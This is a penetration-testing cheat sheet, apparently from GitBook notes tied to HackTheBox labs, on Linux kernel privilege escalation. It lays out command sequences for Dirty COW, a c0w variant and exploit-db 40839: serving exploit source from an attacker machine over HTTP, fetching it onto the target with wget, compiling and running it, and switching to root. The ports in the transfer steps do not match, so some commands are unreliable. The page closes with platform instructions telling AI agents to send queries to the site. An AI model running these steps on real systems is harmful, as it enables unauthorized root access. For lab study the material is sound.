> For the complete documentation index, see [llms.txt](https://pentest.mxhx.org/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentest.mxhx.org/06-linux-privesc/lx-kernelexp.md).
# 4 Kernel Exploits
##
| Family | | Versions |
| ----------------------- | ----------------------------------------------- | ------------------------------------------------------------------------------------------- |
| [Dirty Cow](#dirty-cow) | CVE-2016-5195
Effective but Unsafe
| Works on old kernels (ie: 2011/2012)
Kernel: 3.2.0
Ubuntu 12.04 (2012-2014)
|
## Version
```
uname -a ..2011/2012 Kernel should be vuln to Dirty Cow
uname -a ..debian 2.6.32 - Vulnerable
```
## Linux Versions
*
## Linux-Exploit-Suggester-2
```
---------------
https://github.com/jondonas/linux-exploit-suggester-2
python -m SimpleHTTPServer 5555
wget http://$IP:4444/linux-exploit-suggester-2.pl
---------------
linux-exploit-suggester-2.pl -k 2.6.32 ..local
./linux-exploit-suggester-2.pl ..remote exe
```
## Dirty Cow
* [https://dirtycow.ninja](https://dirtycow.ninja/)
* Dirty COW is a privilege escalation vulnerability which exploits a race condition in the way the Linux kernel’s memory subsystem handles the copy-on-write (COW) breakage of private read-only memory mappings.
* Download > Scroll to Bottom > Pick most recent Release (ex: Firefart)
* REF: beepHTB, valentineHTB, lameHTB
```
dirty.c
https://github.com/FireFart/dirtycow/blob/master/dirty.c
git clone https://gist.github.com/e9d4ff65d703a9084e85fa9df083c679.git
python -m SimpleHTTPServer 4444
wget http://10.10.14.6:5555/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
chmod 777 dirty
./dirty
backs up password to /tmp
newpassword
su firefart ..root privs!
```
## Dirty c0w - older?
```
--------------------------------
uname -a ..debian 2.6.32
searchsploit linux kernel 2.6.32 priv esc ..some
searchsploit linux kernel 2.6 debian priv esc ..nada
linux-exploit-suggester-2.pl -k 2.6.32 ..'dirty cow'
cat c0w.c ..download/view
gcc -pthread c0w.c -o c0w ..complie
./c0w ..exploit
privesc: /usr/bin/passwd ..result
whoami ..root
cp /tmp/bak /usr/bin/passwd ..cleanup!
```
## 40839
*
```
uname -a ..linux 2.6.24
searchsploit linux kernel 2.6.24 priv esc ..search
searchsploit -m 40839.c ..copy
python -m SimpleHTTPServer 4444 ..transfer
wget http://$MyIP:4444/40839.c ..get
gcc -pthread 40839.c -o 40839 -lcrypt ..compile
./40839 (password) ..execute/set pw
su - ..win
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://pentest.mxhx.org/06-linux-privesc/lx-kernelexp.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.